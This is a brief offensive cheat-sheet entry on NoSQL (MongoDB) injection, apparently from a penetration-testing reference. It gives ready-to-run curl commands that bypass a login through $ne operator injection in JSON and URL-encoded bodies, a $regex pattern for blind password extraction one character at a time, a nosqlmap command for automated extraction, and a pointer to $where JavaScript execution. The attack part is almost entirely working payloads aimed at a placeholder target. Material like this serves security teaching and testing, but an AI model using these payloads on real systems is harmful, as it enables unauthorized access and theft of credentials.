What it is
MongoDB and friends do not use SQL, but input concatenated into a query is still injectable. Operator injection ($ne, $gt, $regex) bypasses auth and extracts data; $where and server-side JavaScript can reach code execution.
Auth bypass via operator injection (JSON body)
curl -X POST http://<TARGET-IP>/login -H 'Content-Type: application/json' \
--data '{"username":"admin","password":{"$ne":null}}'Same idea in a URL-encoded body
curl 'http://<TARGET-IP>/login' --data 'username=admin&password[$ne]=x'
Blind extraction with $regex, one character at a time (true/false oracle)
password[$regex]=^a -> password[$regex]=^ad -> password[$regex]=^adm ...
nosqlmap automates detection and extraction
python nosqlmap.py -u 'http://<TARGET-IP>/login' --data 'user=*&pass=*'
Most common exploit path
{"$ne":null} or password[$ne]=x bypasses login → $regex extracts secrets char by char → $where for JS execution if allowed. Maps to OWASP A03 Injection.
via sqlmap
in OWASP